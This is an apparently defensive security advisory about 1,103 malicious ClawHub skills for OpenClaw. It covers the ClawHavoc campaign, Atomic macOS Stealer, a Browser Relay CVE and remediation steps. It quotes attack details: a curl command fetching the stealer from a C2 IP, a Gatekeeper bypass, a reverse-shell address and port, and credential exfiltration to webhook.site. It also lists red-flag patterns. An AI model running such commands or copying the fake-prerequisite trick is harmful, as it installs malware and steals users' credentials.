OpenClaw ClawHub Alert: 1,103 Malicious Skills Found

February 5, 2026 · Updated: April 28, 2026

Download this guide as PDF

> **Quick Answer:** It got worse. RankClaw's March 2026 audit of all 14,706 ClawHub skills found 1,103 malicious ones (7.5%), up from 341 in the original Koi Security audit of 2,857 skills. A new CVE (CVE-2026-28458) disclosed a Browser Relay auth bypass — unauthenticated access to Chrome DevTools via ws://127.0.0.1:18792/cdp let malicious websites steal session cookies and execute JS in other tabs. Fixed in version 2026.2.1. OpenClaw has partnered with VirusTotal for automated skill scanning, which is a step forward but not a silver bullet. Update to 2026.2.1 minimum, audit your installed skills, and rotate credentials if you've used any community skills from ClawHub.

📚 **More on this topic:** OpenClaw Security Guide · OpenClaw Plugins & Skills Guide · Best Models for OpenClaw · OpenClaw Setup Guide · Security Report: January 2026 · Security Report: February 2026

Last updated: April 28, 2026. This is a developing story. See the April update for the v6.0 picture and the March update for the full-registry audit.

OpenCLAW-P2P v6.0 changes the security picture (April 2026)

OpenCLAW-P2P v6.0 shipped in April with two features that matter to anyone tracking ClawHub-style supply-chain risk: **resilient multi-layer persistence** and **live recovery**. Both are sold as deployment-robustness wins — agents that survive crashes, OS updates, and partial node failures. The trouble is that the same primitives lower the cost of every malicious skill we covered below.

Multi-layer persistence means a v6.0 agent installs hooks across user-level launch agents, login items, shell rc files, and a P2P bootstrap peer list. Removing one layer doesn't kill the agent — the others reseed it. Live recovery extends that: a node that gets cleaned will pull state and config back from its peers automatically. Designed for fleet uptime. In a malicious-skill context, it means a single ClawHavoc-style infection that lands on a v6.0 host is meaningfully harder to evict. Killing the process or rotating credentials isn't enough if the skill registered itself as a recovery peer.

What to do now: if you've upgraded to v6.0, audit the recovery-peer list (`openclaw-p2p peers list`), disable peer-restore for skills you didn't explicitly install, and follow the steps in March 2026 security report. Treat any v6.0 host that's run a community skill as a full reinstall candidate.

On February 1, 2026, security firm Koi Security published findings from an audit of the entire ClawHub skill registry. What they found was worse than anyone expected: **341 malicious skills** out of 2,857 analyzed. Nearly 12% of everything on ClawHub was actively trying to steal your data.

This wasn't a handful of sketchy uploads. It was a coordinated campaign — 335 malicious skills from a single operation, deploying commodity malware through social engineering disguised as installation instructions. VirusTotal independently confirmed the findings, analyzing over 3,000 skills and flagging hundreds with malicious characteristics.

Then it got worse. In March, RankClaw audited the full ClawHub registry — all 14,706 skills — and found **1,103 malicious ones**. Koi Security only sampled 2,857. The actual number of malicious skills is more than 3x what the original audit caught.

If you've installed any community skill from ClawHub, you need to audit your setup right now. Here's what happened, how the attacks work, and how to protect yourself.

What Happened

The ClawHavoc Campaign

Security researcher Oren Yomtov at Koi Security discovered the campaign while building an OpenClaw bot named "Alex" for security research. Alex flagged concerns about the 2,800+ unvetted skills on ClawHub, which prompted Yomtov to audit the entire registry.

The numbers from the original Koi Security audit:

Stat	Value
Total skills audited	2,857
Malicious skills found	341 (11.9%)
Skills in main campaign (ClawHavoc)	335
Outlier malicious skills	6 (different techniques)

Stat	Value
Single attacker account (hightower6eu)	314 skills, ~7,000 downloads
Publication timeline	~400 skills in 7 days (Jan 27 - Feb 2, 2026)

One attacker published 314 poisoned skills in a week and racked up 7,000 downloads before anyone noticed.

The March update below shows how much worse the full picture turned out to be.

What the Malicious Skills Look Like

The fake skills are categorized across popular tool types to maximize appeal:

Category	Count	Examples
Crypto tools	111	Solana wallets, Phantom utilities, wallet trackers
YouTube utilities	57	Video summarizers, thumbnail grabbers
Finance & social	51	Yahoo Finance tools, X/Twitter trend trackers
Polymarket bots	34	`polymarket-trader`, `polymarket-pro`, `polytrading`
ClawHub typosquats	29	`clawhub`, `clawhub1`, `clawhubb`, `clawhubcli`, `clawwhub`
Auto-updaters	28	`update`, `updater`, variants
Google Workspace	17	Gmail, Calendar, Sheets, Drive integrations
Ethereum gas trackers	15	Gas price monitors

The crypto category dominates because cryptocurrency users tend to have valuable wallet credentials on their machines — exactly what the malware targets.

How the Attacks Work

The Social Engineering Trick

The core technique is devastatingly simple. You install what looks like a legitimate skill — say, `solana-wallet-tracker`. The SKILL.md file looks professional. The description is well-written. But hidden in the "Prerequisites" section is an instruction to install a dependency called **"openclaw-agent"** or **"AuthTool"** by running a shell command.

That shell command is the attack.

macOS Attack Chain (Primary Target)

Most OpenClaw users run on Mac Minis — Apple Silicon is popular for headless agent setups. The attackers know this.

1. The "prerequisite" directs you to run a command hosted on **glot.io** (a code-sharing platform)
2. The glot.io script contains a **base64-encoded payload**
3. Decoded, it runs: `curl -fsSL http://91.92.242.30/[obfuscated-path]`
4. This fetches **Atomic macOS Stealer (AMOS)** — a 521KB universal Mach-O binary (x86_64 + arm64)
5. The binary bypasses Gatekeeper via `xattr -c`
6. AMOS begins harvesting your system

Windows Attack Chain

Windows users are directed to download a **password-protected ZIP** from GitHub repositories containing `openclaw-agent.exe`. The password protection prevents antivirus from scanning the archive contents before extraction. Once extracted and run, it's a packed trojan.

What AMOS Steals

Atomic macOS Stealer is commodity malware-as-a-service that costs $500-1,000/month on criminal marketplaces. It's not custom-built for this campaign — it's off-the-shelf and brutally effective:

- **Keychain passwords** — every saved password on your Mac
- **Cryptocurrency wallets** — 60+ wallets supported, including seed phrases
- **Browser credentials** — cookies, saved passwords, autofill data
- **SSH keys** and shell history
- **API keys** and `.env` files (including `~/.clawdbot/.env`)
- **Telegram sessions**
- **Git credentials and cloud credentials**
- **Selective file theft** via targeted directory scanning

VirusTotal confirmed the AMOS binary was detected by **16 out of ~70 security engines**. That means roughly 77% of antivirus products would miss it at the time of analysis.

The Outlier Attacks (6 Skills)

Six malicious skills used different techniques outside the main ClawHavoc campaign:

Reverse shell backdoor (`better-polymarket`, `polymarket-all-in-one`): These skills actually work — they do what they advertise. But hidden at line 180 in the code, a reverse shell opens a connection to **54.91.154.110:13338**, giving the attacker full remote control of your machine. This is the most dangerous variant because the skill appears functional during testing.

Credential exfiltration (`rankaj`): Directly exfiltrates `~/.clawdbot/.env` credentials to a webhook.site endpoint. Simple, effective, and hard to detect because `webhook.site` is a legitimate testing service.

The Name Change Problem

OpenClaw has been rebranded twice in under a year:

Name	Period	Why
ClawdBot	Original (2025)	Created by Peter Steinberger
Moltbot	Mid-2025	Rebranded after Anthropic requested the name change
OpenClaw	January 2026	Current name

This creates real security problems:

- **Credential paths still reference old names** — `~/.clawdbot/.env` is still where credentials live, even though the tool is now called OpenClaw
- **Users can't tell what's official** — is it `openclaw-agent`, `moltbot-cli`, or `clawdbot-tools`? The name confusion makes typosquatting trivially effective
- **A counterfeit "Moltbot" extension** was distributed via the VS Code Marketplace, impersonating the legitimate tool during the transition period

The 29 ClawHub typosquats (`clawhub`, `clawhub1`, `clawhubb`, `clawhubcli`, `clawwhub`, `cllawhub`) exploit exactly this confusion.

Why ClawHub's Moderation Failed

We predicted this. The ClawHub marketplace has four safeguards, all of them inadequate:

Safeguard	Reality
Publishers need a 1-week-old GitHub account	Attackers pre-create accounts. Trivial to bypass.
Community reporting auto-hides after 3 reports	Reactive, not preventive. The damage is done before reports accumulate.
20 active reports per user limit	Limits vigilant security researchers more than attackers.
Download counts visible	The hightower6eu account inflated counts to ~7,000 across 314 skills.

There is **no code review process**. No automated scanning. No sandboxed testing. No cryptographic signing of skills. ClawHub's own maintainer has acknowledged the **"registry cannot be secured"** in its current form.

OpenClaw creator Peter Steinberger acknowledged on X that manual review of submissions is infeasible. The current response: rely on community reporting. That's like relying on store customers to catch shoplifters after they've left the building.

As of February 5, most malicious skills from the ClawHavoc campaign have been reported and hidden, but the C2 infrastructure at 91.92.242.30 was still operational when researchers last checked.

How to Protect Yourself Right Now

If You've Installed Community Skills

Step 1: Check what's installed.

```
ls -la ~/.openclaw/skills/
ls -la <your-workspace>/skills/
```

List every non-bundled skill. If you don't remember installing it or can't verify its source, remove it.

Step 2: Scan with Clawdex.

Koi Security released a free scanning tool:

```
# Visit clawdex.koi.security for the scanner
# It checks installed skills against known malicious signatures
```

Step 3: Check for AMOS infection.

If you've run any "prerequisite" shell commands from a skill's documentation:

- Check Activity Monitor for unknown processes
- Look for outbound connections to `91.92.242.30`, `54.91.154.110`, or unfamiliar IPs
- Check `~/.clawdbot/.env` — if your API keys are there, rotate them immediately
- Rotate all passwords stored in your macOS Keychain
- Move cryptocurrency to a new wallet generated on a clean machine
- Check browser saved passwords — assume they're compromised

Step 4: Check for reverse shells.

```
# Look for suspicious outbound connections
lsof -i -P | grep ESTABLISHED
netstat -an | grep 13338
```

If you see connections to IPs you don't recognize, especially on port 13338, you have a reverse shell active.

If You Haven't Been Compromised (Prevention)

1. Don't install community skills. The bundled skills cover email, calendar, GitHub, browser, files, and shell. That's enough for most use cases. Every community skill is attack surface.

2. If you must install a community skill, read the SKILL.md first. Look for:

- Shell commands in "prerequisites" — this is the #1 red flag
- `curl` or `wget` commands pointing to unfamiliar domains
- Base64-encoded strings
- Instructions to download and execute external binaries

- References to `glot.io`, GitHub releases from unknown accounts, or direct IP addresses

3. Never run prerequisite shell commands without verifying them independently. No legitimate skill requires you to curl a binary from an IP address.

4. Sandbox your OpenClaw install. Run it on dedicated hardware or a VM with throwaway accounts. Don't connect it to your primary email, financial accounts, or machines with cryptocurrency wallets. Our security guide covers sandboxing in detail.

5. Disable skills you don't use. Every enabled skill is attack surface — even the bundled ones. If you don't need `exec` (shell commands) or `agent-browser` (web automation), turn them off.

6. Monitor outbound network connections. Your agent shouldn't be connecting to random IPs. Set up basic network monitoring or firewall rules to alert on unexpected outbound traffic.

7. Pin skill versions. Don't auto-update. Check changelogs before updating. The `update` and `updater` typosquat skills specifically target people who blindly update.

Red Flags to Watch For

Red Flag	Why It's Dangerous
Skill requires shell commands as "prerequisites"	This is the primary ClawHavoc attack vector
Base64-encoded content in SKILL.md	Obfuscation hiding malicious payloads
Skill from a newly created account	Low-cost accounts are the norm for attackers
Crypto, finance, or trading tools	111/341 malicious skills masqueraded as crypto tools
Typosquats of popular skill names	`clawhub1`, `clawhubb`, `updater` — all malicious
Skill requests excessive permissions	A note-taking skill shouldn't need shell access
Instructions to download external binaries	Legitimate skills are self-contained SKILL.md files
Sudden updates with no changelog	Could inject malicious code into previously clean skills
Skills that "work" but seem too full-featured	The reverse shell backdoors were hidden in functional code

---

The Bigger Picture

This is exactly what happens when you combine:

- A zero-moderation marketplace (ClawHub)
- An agent with broad system access (OpenClaw)
- A fast-growing user base that trusts community tools (145K+ GitHub stars)
- A platform where skills are just markdown files that can instruct the agent to do anything

We warned about this in our OpenClaw Security Guide and Plugins & Skills Guide. The 26% vulnerability rate across 31,000 agent skills that researchers found earlier wasn't a ceiling — it was a floor. ClawHub hit 12% outright malicious in the initial sample (not just vulnerable). The full registry audit brought the number to 7.5% — lower per-skill, but 1,103 malicious skills in absolute terms.

The ClawHavoc campaign didn't require any technical exploits. No zero-days. No code execution vulnerabilities. As security researcher Paul McCarty put it: this is "a supply chain attack… relying on social engineering and the lack of security review in the skills publication process."

The attacker published 400+ poisoned skills in 7 days using a single account on a platform that requires only a week-old GitHub account to publish. The response from ClawHub was community reporting — a reactive measure that only works after users have already been compromised.

What Needs to Change

For ClawHub to be safe, it would need at minimum:

- ~~**Automated malware scanning** on skill submission (VirusTotal integration, static analysis)~~ — **Partially addressed.** OpenClaw now has a VirusTotal partnership for scanning new submissions. It catches known signatures but misses social engineering and novel exfiltration techniques.
- **Sandboxed skill testing** before publication — still missing
- **Cryptographic signing** of skill packages — still missing
- **Publisher verification** beyond a week-old GitHub account — still missing
- **Mandatory permission declarations** that are enforced, not advisory — still missing

One out of five is done. The VirusTotal integration was the most impactful single step they could take, and it's good to see it happen. But four critical gaps remain.

March 2026 Update: 1,103 Malicious Skills

In March 2026, RankClaw completed a full audit of the entire ClawHub registry — all 14,706 skills. The results made the original Koi Security findings look like a warmup.

Stat	Koi Security (Feb)	RankClaw (Mar)
Skills audited	2,857	14,706
Malicious skills found	341 (11.9%)	1,103 (7.5%)
Scope	Sample of registry	Full registry

The percentage dropped from 12% to 7.5%, but the absolute number more than tripled. Koi Security's sample happened to land right in the middle of the ClawHavoc campaign, inflating the rate. Across the full registry, the per-skill infection rate is lower but there are 3x more malicious skills spread across more categories and more attacker accounts.

The new malicious skills aren't just copycats of ClawHavoc. RankClaw found additional campaigns using different techniques — credential exfiltration via legitimate-looking API wrappers, supply chain poisoning of popular skill forks, and skills that only activate malicious behavior after several days of normal operation.

CVE-2026-28458: Browser Relay Auth Bypass

Alongside the marketplace problems, a vulnerability in OpenClaw's Browser Relay feature was disclosed in March 2026.

CVE-2026-28458 exposed an unauthenticated WebSocket endpoint at `ws://127.0.0.1:18792/cdp`. Any website you visited in a browser controlled by OpenClaw's agent-browser skill could connect to this endpoint and access the Chrome DevTools Protocol directly — no authentication required.

What an attacker could do with this:

- **Steal session cookies** from all open tabs
- **Execute JavaScript** in other browser tabs (including banking, email, cloud dashboards)
- **Read and modify page content** in real time
- **Access browser storage** (localStorage, sessionStorage, IndexedDB)

Detail	Value
CVE	CVE-2026-28458

Detail	Value
Component	Browser Relay (agent-browser skill)
Attack vector	Malicious website → WebSocket → Chrome DevTools Protocol
Affected versions	2026.1.20 through 2026.2.0
Fixed version	2026.2.1
Severity	High — unauthenticated local network access

If you're running OpenClaw with the agent-browser skill enabled, update to 2026.2.1 immediately. Versions 2026.1.20 through 2026.2.0 are vulnerable. The fix adds authentication to the WebSocket endpoint.

VirusTotal Partnership

OpenClaw announced a partnership with VirusTotal for automated skill scanning. New submissions to ClawHub are now scanned against VirusTotal's database before publication.

Good. But don't confuse this with "ClawHub is safe now." VirusTotal catches known malware signatures. It won't catch a skill that uses social engineering (like the ClawHavoc "prerequisite" trick) or one that exfiltrates credentials via legitimate-looking HTTP requests. The original AMOS binary was only detected by 16 out of ~70 security engines on VirusTotal when the Koi Security audit ran.

This stops lazy attackers. Motivated ones will still get through.

What to Do Right Now

1. **Update to 2026.2.1 or later.** This is the minimum safe version. Anything older is vulnerable to CVE-2026-28458.
2. **Audit your installed skills.** Remove anything you can't verify. With 1,103 confirmed malicious skills on ClawHub, the odds are worse than we originally reported.
3. **Rotate credentials** if you've run any prerequisite commands from community skills.
4. **Read our full security guide** for hardening your OpenClaw setup.
5. **Read the monthly security reports** for ongoing coverage: January 2026 · February 2026 · Koi Security Deep Dive
6. **Stick to bundled skills.** They're maintained by the core team and cover most use cases.

7. **Build your own** if you need custom functionality — it takes 10 minutes.

The OpenClaw ecosystem is powerful and genuinely useful. But ClawHub remains dangerous. 7.5% of all skills — 1,103 out of 14,706 — are confirmed malicious. VirusTotal scanning helps but isn't a guarantee. Treat every community skill as untrusted code until you've read the source yourself.

Get notified when we publish new guides.

Subscribe — free, no spam

Source: https://insiderllm.com/guides/openclaw-clawhub-security-alert/

Free guides for running AI locally